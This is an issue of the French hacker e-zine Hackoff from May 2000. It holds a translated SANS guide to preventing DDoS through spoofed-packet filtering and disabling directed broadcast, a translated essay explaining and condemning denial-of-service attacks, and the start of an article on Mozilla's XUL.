20.05.2000              - H@CKOFF No22 - * peril-jeune edition * -


°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø

         _/    _/    _/_/      _/_/_/  _/    _/    _/_/    _/_/_/_/ _/_/_/_/
        _/    _/  _/    _/  _/        _/  _/    _/    _/  _/       _/
       _/_/_/_/  _/_/_/_/  _/        _/_/      _/    _/  _/_/_/   _/_/_/
      _/    _/  _/    _/  _/        _/  _/    _/    _/  _/        /
     _/    _/  _/    _/    _/_/_/  _/    _/    _/_/    _/       _/

°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø




    _________________________________________________________________________
   /                                                                         \
  /  Bienvenue dans ce Hackoff No 22 arborescente edition (plus que jamais au |
 / son de la savate). Au sommaire de ce numero 22 on vous expose nos opinions/
| utopico-progressives a tendance maniaco-depravatoires afin de proroger la /
 \  subliminale fusion moleculaire de l'en-dessous en toute globalité...   /
  \_______________________________________  ______________________________/
                                          \ |
                                           \|
                                       __________
                                   .,:;>The Crew<;:,.
                                      /  .Silk.  \
                                     /  ..Gard..  \
____________________________________/  ..H3rtz!..  \_____________________________
 ¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/  ...Misto!...  \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/  ....Blured....  \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
                                 /  .....Tobozo.....  \
                                /  .....Sniffdoz.....  \
                               /  ...Natural Killer...  \
                    ----8<----+-----8<--------8<---------\-8<--+-------8<---
                             /     Guest :   G3n0cId3     \
                            /------------------------------\

                   ____________________________________________________________
 __________       /   TabLe des mAtières :                                     \
/ HACK0ff  \     |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|
]-=v0L 22=-[     |     [01]Disclaimer                          Tobozo           |
\ Mai 2000 /     |     [02]DDos (suite)	                       Cakeii           |
 ¯¯¯¯¯¯¯¯¯¯      |     [03]Dosattack                           Jericho          |
                 |     [04]XUL & RAM                           Gard             |
                 |     [05]Simlock et Cie                      g3n0c1d3	        |
                 |     [06]Echelon                             Auteur Anonyme   |
                 |     [07]Orgie binaire                       Tobozo           |
                 |     [08]Shaftanalyse                        Cakeii           |
                 |                                                              |
---------8<------+--------------8<---------------------8<---------------------8<-
                 ¦
                 :
                 .






                     _        _______________________        _
-*1*-                 `^°*;:,.> Ð ï $ © £ Å ï M Ê ® <.,:;*°^`
_____________________________/¯¯¯¯¯¯¯By Tobozo¯¯¯¯¯¯¯\___________________________
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸

L'acces a ce document n'impose pas la lecture de ce disclaimer :

  • Ce document est ecrit dans le seul but de renseigner.
  • Il contient des messages subliminaux, des mots interdits et des mots obligés.
  • Il ne contient pas de cacahuetes grillees (contrairement a certains bruits).
  • Il ne s'auto-detruira pas dans les 5 secondes.

    Et bien que les apparences soient trompeuse, il ne s'agit pas d'un devoir
    de vacances alors les jeunes lecteurs seront priés de ne PAS appliquer
    ce qui s'y trouve a moins d'etre approuvés par des personnes majeures et
    responsables (dans certains cas la bonne conscience y fait office).


    Tobozo
    Sauvez les Arbres, Mangez du Castor



  • ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
    

    function Edito() ] *> Press [A] to Abort / [CR] to Continue: [] *> *> *> La suffisance des sens aiguises par l'aisance maitrisee *> s'essaime par la transe exquise de l'arborescence epuisee. *> Antiviral subliminal patriotique conspiration pour le pognon *> serial-nukers pour amateurs pas eclectiques a l'horizon.. *> *> Function edito() barely succeeded *> *> |

    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
    







               _        ________________________________________        _
    -*2*-       `^°*;:,.>           - DDOS (suite) -           <.,:;*°^`
    ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Cakeii ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
     ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
    
    
    
    ndt : bien que cet article soit du rechauffé il n'a jamais ete autant d'actualite
    que depuis la mise a l'amende de quelques monstres de l'internet.
    Et oui, il ne s'agit que d'une traduction mais elle a subi des ameliorations et
    des mises a jour.
    
    

    Se proteger des DDoS

    Vous pouvez à présent réduire les chances que votre réseau soit employé pour endommager d'autres réseaux si vous mettez en application les deux étapes suivantes :

    • Filter votre réseau contre les paquets IP contrefaits (spoofer) sortant.
    • Stopper l'émission de DDoS depuis votre réseau.
    Ces deux étapes devront être mises en application immédiatement, et les instructions détaillées pour les mettre en place sont fournies ci-dessous. La large application de ces deux méthodes peut de manière significative réduire la menace constituée par les attaques de type DoS.

    Etape 1 : Filter votre réseau contre les paquets IP contrefaits (spoofer) sortant.

    But: Empêcher votre réseau d'être la source des communications spoofer (c.-à-d. contrefait) qui sont souvent employées dans des attaques de DoS.

    Action: S'assurer que vos routeurs et firewall sont configurés pour expédier les paquets IP seulement si ces paquets ont comme adresse IP source celle de votre réseau. La source correcte de l'adresse(s) IP doit être l'adresse de votre réseau IP qui lui a été assignée. Il est important de faire ceci dans tout votre réseau, particulièrement dans le raccordement externe vers Internet ou vers un fournisseur ascendant.

    Étape 1.1: Rejeter Les Adresses sources Invalides

    Tous les organismes reliés à l'Internet devraient seulement permettre aux paquets contenant des adresses sources valides de sortir de leur réseau. Ceci réduira au minimum la chance que votre réseau soit la source d'une attaque d'IP contrefait (spoofed IP). Ceci n'empêchera pas des attaques distribuées DoS venant de votre réseau avec des adresses source s valides.

    Afin de mettre en application ceci vous devrez connaître les blocs d'adresses du réseau IP qui sont en service sur votre site. Si vous ne connaissez pas cette information actuellement, alors sauter à l'étape 1.2, et revenez à cette étape une fois que vous avez obtenu cette information.

    Se prémunir contre le trafic d'adresses IP contrefait peut être accompli par un filtrage sur des routeurs, firewall, et des machines. Voici un exemple générique de filtre :

    allow les adresses valides de votre site vers internet
    Deny Toutes les autres adresses sources

    Sur le routeur(s) relié à votre ISP(s), si l'adresse de l'interface IP qui la relie à l'ISP n'est pas sur un des blocs d'adresses IP de votre site, vous devrez également permettre à l'adresse de l'interface IP de passer.

    Pour obtenir des instructions détaillées pour la mise en place de filtre, veuillez choisir la plateforme que vous utilisez dans la liste "étape 1 : directions détaillées " ci-dessous.

    Etape 1.2 : Rejet des adresses IP privées et réservées

    Cette étape n'est pas nécessaire si vous pouviez accomplir entièrement l'étape 1.1

    Si vous n'êtes pas certain de connaitre quel adressage IP est en service actuellement sur votre site, alors vous devrez au moins rejeter les adresses privées (RFC 1918 ) et les adresses IP réservées.

    Ce qui suit est une liste d'adresses source qui devront être filtrées.

      0.0.0.0/8 - Historical Broadcast
      10.0.0.0/8 - RFC 1918 Private Network
      127.0.0.0/8 - Loopback
      169.254.0.0/16 - Link Local Networks
      172.16.0.0/12 - RFC 1918 Private Network
      192.0.2.0/24 - TEST-NET
      192.168.0.0/16 - RFC 1918 Private Network
      224.0.0.0/4 - Class D Multicast
      240.0.0.0/5 - Class E Reserved
      248.0.0.0/5 - Unallocated
      255.255.255.255/32 - Broadcast
    Si vous utilisé la translation d'adresse (NAT), vous devez vous assurer que vous exécutez bien ce filtre entre votre dispositif NAT et votre ISP, et vous devriez également vérifier que votre configuration NAT traduit seulement l'adresse utilisée et autorisée pour votre plan d'adressage interne.

    Rejeter les adresses privées et réservées des adresses IP source peut être accompli par filtrage sur des routeurs, des firewall, et des machines. Pour obtenir des instructions détaillées pour la mise en place de filtre, veuillez choisir la plateforme que vous utilisez dans la liste "étape 1 : directions détaillées " ci-dessous.

    Etape 1 : Filter votre réseau contre les paquets IP contrefait (spoofer) sortant.

    Veuillez choisir le routeur, le firewall, ou la machine que vous employez dans la liste ci-dessous pour des instructions détaillées sur la façon de mettre en application cette technique :

    Etape 2 : Stopper l'émission de DDoS depuis votre réseau

    But: s'assurer que votre réseau ne peut pas être employé pour l'émission de DDoS pour inonder d'autres réseaux avec des attaques telles que le "smurf".

    Action: Configurer tous vos systèmes (routeurs, postes de travail, serveurs, etc...) de sorte qu'ils ne reçoivent pas ou n'expédient pas de trafic Broadcast dirigé.

    Etape 2.1 : Désactiver le Broadcast IP dirigé sur tout le réseau

    Les techniques détaillées pour faire ceci sont disponibles pour les systèmes suivants.

    Pour tous les autres systèmes, aller à http://users.quadrunner.com/chuegen/smurf/ où vous trouverez la page de Craig Huegen qui fait autorité dans ce domaine, celle ci contient des instructions pour beaucoup d'autres types de systèmes.

    Les systèmes suivants ont le Broadcast dirigé désactivé par défaut. Cependant, sur ces systèmes il peut y avoir une manière detourner pour enclencher ce comportement. Veuillez choisir le lien pour votre plateforme afin de s'assurer que le système est désactivé par défaut, et ne permet pas des Broadcast dirigés.

    Pour windows NT 4,0, le comportement par défaut pour les paquets Broadcast dirigés a été modifié dans le service pack 4. Les derniers service pack pour NT peuvent être obtenus sur le site de Microsoft http://support.microsoft.com/support/kb/articles/Q152/7/34.ASP

    Etape 2.2 Tester votre réseau pour déterminer si c'est un site de génération de DDoS

    Pour examiner votre réseau afin de voir s'il agit en tant qu'emetteur de DDoS vous pouvez employer la commande "ping" pour envoyer un paquet 'echo request' à l'adresse de base du réseau et à l'adresse Broadcast de votre réseau.

    Vous devrez connaitre l'adresse IP de base du réseau et votre adresse de Broadcast. Le Tableau CIDR peut être utile pour déterminer les adresses de votre réseau.

    depuis une machine du côté d'Internet (c.-à-d. en dehors du réseau) pinger les deux adresses de base de réseau (x.x.x.0 pour une /24 de classes C) et de Broadcast (x.x.x.255 pour une /24 de classe C) d'un sous-réseau interne avec un certain nombre de machines dessus.

    Choisir parmi la liste suivante le système d'exploitation pour des instructions détaillées sur l'employe de la commande ping et l'analyse pour déterminer si votre réseau est un site d'amplification de Broadcast.

    Une autre manière d'examiner votre réseau est d'aller sur une site web publique qui teste votre réseau à distance.

    Il est important de savoir que ces sites sont actionnés par les tiers indépendants, et que vous devrez employer ce type de site à votre propre risque. Si votre site est faible il peut être ajouté à une " liste noire " qui peut alors être employé par des attaquants pour identifier votre site et devenir un 'bon' site pour faire de l'amplification de Broadcast. Pour cette raison vous êtes fortement encouragés à l'auto-test avec les commandes de ping énumérées ci-dessus.

    Étape 2.3: Exiger que les fournisseurs désactivent le Broadcast dirigée par défaut.

    Quand vous achetez de nouveaux systèmes, exiger que le fournisseur désactivent la réception et l'expédition des paquets de Broadcast dirigés comme indiqué dans le RFC 2644.

    Dans le RFC 2644

      Un routeur PEUT avoir une option de configuration pour lui permettre de recevoir les paquets Broadcast dirigés, toutefois cette option DOIT être désactivée par défaut, et le routeur NE DOIT PAS recevoir les paquets Broadcast dirigés à moins qu'un utilisateur les spécifiquement configuré. Un routeur PEUT avoir une option pour permettre de recevoir un prefix réseau de Broadcat dirigés sur une interface et PEUT avoir une option pour permettre un prefix réseau Broadcast dirigées pour l'expédition. Ces options DOIVENT être par défaut bloquées pour la réception et l'expédition de prefix réseau de Broadcast dirigés.
    Sur cette base vous devrez demander à vos fournisseurs si le Broadcast dirigé est désactivé par défaut. Au minimun le fournisseur devrait fournir un mécanisme pour désactiver le Broadcast dirigé.

    Quelques fournisseurs désactivent déjà le Broadcast dirigé par défaut dans les dernières versions de leur logiciel, mais beaucoup ne le font pas. Penser à éducer les fournisseurs en les dirigeant vers le RFC 2644..

    Original :

    www.sans.org/ddos.htm

    Traduit :

    par cakeii - Cakeii@usa.net








    
               _        ____________________________________________        _
    -*3*-       `^°*;:,.>                Dosattack                 <.,:;*°^`
    ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Jericho117 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º
    

    original: dosattack.html

    Agressif Scripting (Leçons de DoS)



    J'ai commencé à écrire cet article il y a presque un an, après les assauts d'attaques smurf lancés contre divers réseaux sur Internet. A cette époque, la toute dernière attaque de Denial of Service découverte était un outil paralysant ayant un seul but; inactiver une machine distante en la floodant avec plus de trafic qu'elle ne pouvait supporter. L'attaque smurf était la première des attaques DoS bien connue (et bien abusée) qui pouvait réellement paralyser un réseau quelconque, quelle que soit sa taille ou sa bande passante. C'était donc un nouveau problème pour les administrateurs et personnel de sécurité du monde entier.

    Le Principe

    Aussi connue sous le nom de Network Saturation Attacks ou Brandwidth Consumption Attacks, la nouvelle génération d'attaques DoS floode un réseau distant avec une vertigineuse quantité de trafic. Les routeurs et serveurs visés vont à une vitesse surmultipliée, essayant d'acheminer et d'assimiler chaque paquet qui arrive. Comme le réseau reçoit de plus en plus de ces paquets illégitimes, il va rapidement refuser le trafic légitime, tel que le web et les mails. En quelques minutes, toute l'activité du réseau est coupée du fait que l'attaque consomme toutes les ressources disponibles du réseau.

    Précédant l'attaque de saturation de la bande passante, la plupart des attaques DoS impliquent l'envoi de très peu de paquets mal-formés à un serveur distant, entraînant ainsi son plantage. Ceci est du à un bug qui fait que plusieurs serveurs assimilaient les paquets mal-formés, provoquant ainsi une réaction en chaîne. Ces paquets (ou Magic paquets) consistaient en l'envoi de données dont l'en-tête contenait des ordres propres a des options de protocole de réseau, et qui étaient présentées dans un mauvais ordre, qui ne correspondaient pas, ou qui étaient de trop grand format. Par conséquent, un serveur qui recevait ces paquets mal-formés n'avait pas de règles ou indications disant comment il devait réagir et traiter ces paquets. Le résultat était une panique ou un plantage du système qui forçait simplement à éteindre ou à redémarrer la machine. La plus connue des attaques de ce type est peut-être l'attaque WinNuke (écran bleu de la mort).

    Sans regarder l'éthique ou le motif, les attaques DoS de Magic Packets ont montré un soupçon de grâce dans leur exécution. Un simple paquet envoyé d'un serveur à un autre, le faisant planter ou redémarrer, représentait une attaque bien ciblée. La précision avec laquelle ces paquets sont envoyés est analogue à l'utilisation d'un scalpel en chirurgie. En contrepartie, les attaques de saturation de bande passante impliquaient l'envoi de millions de paquets. Pire, une fois lancée, l'attaque ne respectait pas ce qui se trouvait entre le point de départ et le réseau ciblé. Dans plusieurs cas, des milliers de clients partageant la bande passante avec la cible sont aussi affectés. Une simple attaque de cette nature avait la possibilité de couper des milliers de machines d'Internet d'un seul coup. Ces attaques sont donc équivalentes à l'usage d'une hache en chirurgie.


    La génération suivante

    Les attaques comme la smurf DoS ont un effet de cascade qui peut être vu comme une avalanche virtuelle. Le point de départ n'est rien de plus que quelques pierres et boules de neiges (paquets). En descendant la pente (le chemin du routeur à la cible), ils accumulent plus de masse et déclenchent la création de plus de boules de neiges. Le temps que la coulée arrive en bas de la montagne (la cible), elle est submergée de neige et de rochers. Malgré l'efficacité de cette attaque, il n'y a seulement qu'un seul point de départ depuis lequel l'attaque est lancée. Si une attaque est détectée assez tôt, il est possible de filtrer les paquets offensifs avant qu'ils ne quittent leur réseau d'origine.


    La nouvelle génération d'attaques de type Denial of Service est connue sous le nom d'attaque Distributed Denial of Service (DDoS). En prolongeant l'idée d'une attaque de saturation du réseau, le DDoS fait la même chose mais avec plusieurs points de départ. La philosophie et l'objectif de cette attaque sont doubles. Primo, si une simple machine utilisée pour lancer l'attaque est découverte et désactivée, l'attaque, dans sa totalité aura presque toute sa puissance. Secundo, en utilisant plusieurs points de départs sur différents réseaux, un attaquant est capable de planter des réseaux plus larges, qui n'auraient pas été affectés pas un flood simple.

    Faire Tomber Les Colosses

    Avant de lancer ce type de DDoS flood, l'attaquant doit d'abord réserver différents hôtes sur différents réseaux. Le plus de réseaux et machines sont utilisées en point de départ, la plus puissante sera l'attaque. Une fois que chaque hôte s'est introduit, il doit installer un programme de client DDoS sur la machine qui serait prête à accomplir l'attaque. Une fois que le réseau des serveurs réservés est configuré avec le nouveau programme client, l'attaquant peut lancer une commande rapide depuis un programme serveur DDoS déclenchant chaque machine pour lancer l'attaque.


    [graphique comparant 56k vs cable vs t1 vs t3]
    Jusqu'à cette dernière vague d'attaques DDoS, on assumait que les hôtes résidants sur des backbones (connections avec une incroyable bande passante) ne pouvaient pas être sérieusement affectés par des attaques de saturation de réseau. Comme de larges providers (ISPs, FAI) s'en sont rendus compte, ce n'est plus le cas. En utilisant plusieurs petites connections de réseaux, un attaquant peut éventuellement saturer les plus grands ISPs et saturer toute leur bande passante. C'est ce qui a été démontré le plus efficacement avec les trois heures de coupures de Yahoo, et les attaques consécutives contre eBay, Amazon, Buy.com et autres grands sites web.

    La difficulté à tracer

    Il semble que les neophytes du réseau se demandent pourquoi ces attaques ne sont pas dépistées, et pourquoi on n'arrête pas l'auteur. Il est rare de voir des ISPs qui s'intéressent au dépistage de(s) l'individu(s) derrière ces attaques. Plutôt que de prendre le temps et l'effort d'effectuer une enquête (ce qui est long), la plupart des ISPs se rendent comptent qu'un filtre rapide refusant tout le trafic du site étant attaqué est une meilleure solution. De ce fait, l'ISP fait le travail de la personne qui a lancé l'attaque et bien plus efficacement. Comme vous pouvez l'imaginer, ce n'est pas vraiment une dissuasion pour ceux qui commettent l'attaque.

    Une des principales raisons qui font que l'enquête d'une attaque DoS est longue est qu'elle implique de dépister tous les paquets touchant la cible. Plutôt que de quitter le point de lancement avec l'adresse IP de la machine qui est utilisée, les paquets sont attachés à une fausse source d'adresse IP. Comme l'information de l'IP dans chaque paquet varie fortement, et comme les adresses ne peuvent pas être prises au sérieux, un administrateur réseau doit tracer les paquets jusqu'à la source avec les routeurs, un par un. Cela demande de se connecter au routeur (souvent cela doit être fait sur une console physique pour des problèmes de sécurité), mettre en place un filtre ou sniffer pour détecter d'où les paquets proviennent jusqu'à ce routeur, et ensuite aller au nouveau routeur offensif. Cela présente des problèmes si on considère que chaque paquet peut traverser par exemple trente routeurs, de dix compagnies différentes.

    L'action de fausser la source d'IP d'un paquet est appelée IP Spoofing et elle est la base d'une large variété d'attaques de réseaux. Une des intentions originelles de l'attaque de Denial of Service était de bloquer une machine hors du réseau pour prendre son identité. Une fois que vous avez pris l'identité de cette machine, il est aussi possible d'intercepter le trafic qui lui était destiné et de gagner l'accès à d'autres machines du réseau ciblé grâce à des relations internes, confiantes de l'hôte. Les attaquants aujourd'hui donnent l'impression d'avoir perdu le but premier que permettrai une attaque DoS.

    Sauver la situation

    Les attaques de Denial of Service ne sont pas nouvelles. Elles ont existé sous une forme ou une autre depuis que les ordinateurs ont été inventés. Auparavant elles consistaient en une saturation de ressources comme l'espace disque, la mémoire ou les cycles CPU. Ceux qui ne sont pas familiarisés avec le fonctionnement des ordinateurs crient souvent à des solutions rapides aux diverses attaques DoS qui sont un fléau pour notre réseau. Malheureusement, ceci est plus facile à dire qu'à faire.

    Chaque jour en semaine, le matin et l'après-midi des millions de Français vont et repartent du travail. Ils s'entassent sur des routes deux ou quatre voies pour avancer lentement. Faire dix kilomètres en une heure est une chose assez commune pour ceux qui ont à faire en heures de pointe dans des zones à fort trafic des grandes villes du pays. Chaque jour, ils suivent ce rituel, criant et maudissant les autres milliers de conducteurs qui entravent les routes, et jour après jour le problème ne se fixe pas de lui-même. Que ce soit des paquets ou des voitures, les choses font qu'ils vont surcharger les routes ou connections réseau. Au bout d'un certain temps, trop d'entre eux vont pousser le trafic à une limite. Pourquoi est-ce que le problème de trafic n'est pas résolu? Nous savons tous que la solution serait de plus grandes et meilleures routes, plus de parkings, des horaires définis, et plus de sens commun derrière le volant. Il y a de fortes chances que ceci arrive un jour prochain. D'un autre côté, il est totalement différent de fixer chaque routeur sur chaque réseau et installer des mécanismes pour éviter des attaques de saturation du réseau.

    En fin de compte, ce qui pourrait éliminer ces attaques serait plutôt une simple modification à effectuer. Tous les dispositifs de réseau qui acceptent ou font passer un trafic de réseau peuvent être paramétrés pour mieux gérer leur activité. Si un serveur web reçoit trop de requêtes, il va refuser les nouvelles connections de telle manière que les connections existantes puissent subsister. Cette technique est appelée throttling ou bandwidth limiting et elle est destinée à éviter les connections excessives, pour conserver les ressources et faire en sorte que les choses fonctionnent correctement. Malheureusement, cette philosophie n'est pas adoptée par les routeurs (les machines qui transfèrent tout le trafic internet) et donc les attaques de saturation de bande passante n'ont aucune résistance qui s'oppose à elles. Une très faible part des réseaux a compris que ceci était une bonne solution contre les attaques de flood. Dans leur cas, les routeurs sont paramétrés pour gérer le traffic et bloquer le trafic illégitime une fois détecté. Le problème de cette approche est qu'une fois que les paquets de flood ont atteint leur cible, les dégâts sont déjà faits. Le point faible de ce mécanisme est le temps de latence ajouté lorsque le routeur vérifie chaque paquet qui le traverse. A cause de ce ralentissement, les ISPs hésitent à implémenter cette solution.

    Pour faire fonctionner la régulation de connexion (throttling) correctement, chaque routeur de réseau devrait avoir un mécanisme implémenté. Ceci permettrait à un routeur proche de la source de l'attaque de détecter le trafic illicite et de mettre un filtre qui le rejetterai avant qu'il ne quitte sont point de départ. Ceci entraîne évidemment la question "Comment peut-on savoir si le trafic est illégitime". En regardant en arrière dans la section IP spoofing, on peut facilement trouver une solution au problème. En réalité, le mécanisme est présent dans la plupart des Firewalls de ce jour.


    Dans le diagramme ci-dessus, il est montré un faux paquet avec l'adresse IP 150.23.83.44. Cela est du au fait qu'un tel paquet ne traverserait pas légitimement un réseau désigné par le sous réseau 1.2.3.x. A cause de ça, un quelconque routeur sur ce réseau (plus particulièrement celui utilisé comme passerelle vers le monde extérieur) recevant ce paquet l'ignorerait. Plutôt que de faire passer aveuglément le paquet sans se poser de question, les routeurs devraient discriminer les paquets suspicieux en refusant de les laisser passer au prochain routeur et donner une sorte d'alarme pour l'administrateur.

    Un deuxième mécanisme qui aiderait à couper ces attaques pourrait être mis en place. Un jour donné, il y a une quantité moyenne de trafic qui passe à travers un quelconque routeur. En surveillant cette moyenne et en appliquant d'autres règles communes, les routeurs pourraient être configurés pour réguler le traffic hautement augmenté. Par exemple, si un routeur détecte une augmentation soudaine du traffic vers une machine de destination avec laquelle chaque paquet provient d'une origine depuis une adresse IP différente, c'est un bon signe d'attaque de saturation utilisant un paquet spoffé. Plutôt que de faire passer ce trafic vers le réseau, le routeur devrait réguler le traffic pour éviter le probable flood qui va s'ensuivre.

    Comme indiqué plusieurs fois auparavant, plus facile à dire qu'à faire. Mettre en fonction ces dispositifs devient impossible à cause du nombre de fabricants de routeurs. Utiliser ces routeurs sur des réseaux de production sur l'open Internet concernerait des dizaines de milliers de compagnies maintenant leur présence sur Internet. Ces mises à jour demandent du temps et de l'argent, ce que les compagnies hésitent à sacrifier; jusqu'à la première attaque de ce type qu'elles subissent. Comme la plupart des incidents de sécurité, les compagnies tendent à implémenter des mesures de sécurité réactionnelles, rarement des mesures préactionnelles.

    Pourquoi Demander Pourquoi?

    A un moment ou un autre, tout le monde de demande pourquoi de telles attaques sont effectuées. Considérons les récentes séries d'attaques contre Yahoo, eBay et autres, qui sont un bon exemple comme un autre. Pour couper toute espérance d'explication valable, "Il n'y a pas de bonne raison!".

    Il faut considérer que cette attaque DDoS affecte des centaines (si ce n'est pas milliers) de machines, dans une large variété de réseaux. Le seul but de cette attaque est de paralyser ou couper le site ciblé pour qu'il ne puisse plus recevoir de trafic légitime. Il y a une poignée de raisons pour faire ces attaques, mais aucune d'entre elles n'est valable ou justifiable. En d'autres termes, les attaques DoS sont sans intérêt et puériles.

    La première raison qui est probablement celle qui a la plus longue histoire est la simple vengeance. Des sites vous ont trahi. Peut-être qu'ils vous ont spammé, arrêté d'héberger votre page web gratuite, viré votre père ou ils ont commis d'autres transgressions. Les attaques DoS sont une forme de vengeance virtuelle, spécialement contre les compagnies effectuant du commerce sur Internet. Le principal argument ici est que ces attaques causent des problèmes pour un nombre d'ISPs, et autres clients qui partagent la bande passante avec la cible, aussi bien que les clients satisfaits du site. Cela revient à l'analogie du scalpel contre la hache.

    La deuxième raison est plutôt orientée vers les petits débutants de scripts, les défaceurs de pages web, et autres sous l'illusion qu'ils font partie de la communauté de la sécurité professionnelle. "Je l'ai fais pour montrer que le système était vulnérable!". C'est peut-être la justification la plus pathétique pour lancer une attaque DoS. Pour de nombreuses personnes, ce n'est pas différent d'un attaquant qui activerait un large dispositif nucléaire, proche d'un serveur de société et ensuite proclamerait "Vous voyez! Ca peut influencer vos opérations!". Bien sûr que ça le peut, ça a déjà été prouvé des milliers de fois.

    La troisième raison que je peux proposer retombe dans le domaine de la récréation. "Si je ne peux pas jouer au foot, je vais jeter le ballon sur le toit pour que personne d'autre ne puisse y jouer!". Ce troisième type de mentalité est loin d'une justification de telles attaque. Ce désir d'une forme de punition d'un site devrait être considéré comme une réduction intellectuelle pour lancer ces attaques. C'est un bon moyen d'agir avec les compagnies misérables.

    Mes Déclamations

    Trois types d'individus méritent ici d'être insultés. Chacun est responsable de ce problème qui est une plaie pour les utilisateurs d'Internet, et chacun pourrait faire sa partie pour l'arrêter.

    Chaque individu qui effectue une attaque DoS sait très bien ce qui pourrait lui arriver s'il se faisait attraper. Pratiquement rien. Il n'y a rien pour décourager quelqu'un de faire de telles attaques. Les rares fois où les administrateurs font un effort pour dépister l'utilisateur malveillant, ils se font évincer par l'ISP. Le jour suivant, l'attaquant revient online en accédant à Internet par l'intermédiaire d'un autre ISP. Jusqu'à l'attaque de Yahoo, le Bureau Fédéral d'Investigation (FBI) n'était pas concerné par ces attaques. Jusqu'ici, le FBI n'a pas eut à appréhender une attaque DoS dévastatrice contre leur propre page d'accueil (www.fbi.com). Pour une raison ou une autre, ces attaques étés vues comme un ennuie, non pas comme une atteinte au commerce des entreprises. L'Application de la Loi doit prendre un plus grand intérêt dans les attaques DoS et commencer à punir les responsables. Lors d'une attaque de ce type, un agent compétent d'application de la loi devrait être contacté pendant quelques heures pour poursuivre l'attaquant et peut-être obtenir des résultats.

    Comme le FBI, les ISPs qui reçoivent ces attaques devraient prendre des mesures préactives pour prévenir les attaques DoS. Quand elles arrivent, les ISPs devraient aussi prendre plus de temps à dépister l'utilisateur et faire passer l'information vers le service d'application de la loi approprié. Plutôt que de silencieusement les couper d'Internet pendant une journée, prendre une apparence plus active et publique montrant que l'activité malveillante ne sera pas tolérée aurait un meilleur effet. Les ISPs qui ont peur d'une vengeance doivent se souvenir qu'ils sont dans la meilleure position pour arrêter les attaquants.

    Finalement, les jeunes pathétiques (au sens propre et figuré) commettent ces attaques. Dans plusieurs cas, ces attaques sont lancées avec des scripts mythiques écrits en langages étrangers juste pour produire de l'effet. Il n'y a aucune grâce, aucune compétence, et aucun intellect derrière ces attaques. Vous n'êtes pas un hacker et vous ne méritez pas de respect pour vos actions enfantines. Vous n'êtes pas meilleur que les individus tordus qui pulvérisent une foule de spectateurs innocents avec une mitrailleuse, seulement pour entailler votre cible. Si vous ne pouvez pas vous exprimer mieux qu'avec une attaque de saturation, cherchez de l'aide offline. Vous en avez douloureusement besoin.



    Traduction :
    jericho@altranet.fr (hackzone117)
    Autre traduction ici : hertz (sOyOs)
    Auteur de l'article original : bmartin@attrition.org
    Images originales : dalec@attrition.org
    Infos trouvees sur : http://www.attrition.org







    
               _        _______________________________________        _
    -*4*-       `^°*;:,.>             Xul and Ram             <.,:;*°^`
    ___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯Gardworld ¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
    
    
          xxx - PREMIERES INFORMATIONS SUR XUL - xxx
          x - XML-based User Interface Language  - x
          ------------------------------------------
    
    XUL (prononcer zoul pour impressionner votre grand-mère) est un nouveau
    langage intégrant les technologies diverses du XML visant la
    personnalisation du navigateur, et dans un avenir proche une meilleure
    portabilité et standardisation des documents HTML, de sorte qu'ils soient
    interprêtés de la même manière partout. Développé depuis quelques temps par
    Mozilla et pour ses navigateurs, il serait intégré dans la toute dernière
    version de Netscape Navigator, et le serait probablement dans les versions à
    venir de MS Internet Explorer. D'une structure apparemment semblable aux
    inclusions javascript, il pourrait s'inclure dans une balise du document,
    mais plus courammment dans un fichier séparé à l'extension .xul, et avec
    spécification de document MIME: "text/x-xul". Ce qui pourrait bientôt être
    considéré comme une nouvelle extension standard du XML devrait permettre
    entre autre de totalement redéfinir la fenêtre de navigation, des barres de
    menu aux boutons, on comprend ainsi aisément les avantages que cela
    représenterait pour la portabilité du document. Pour que vous compreniez
    mieux voici un exemple de définition de fenêtre dans le document HTML
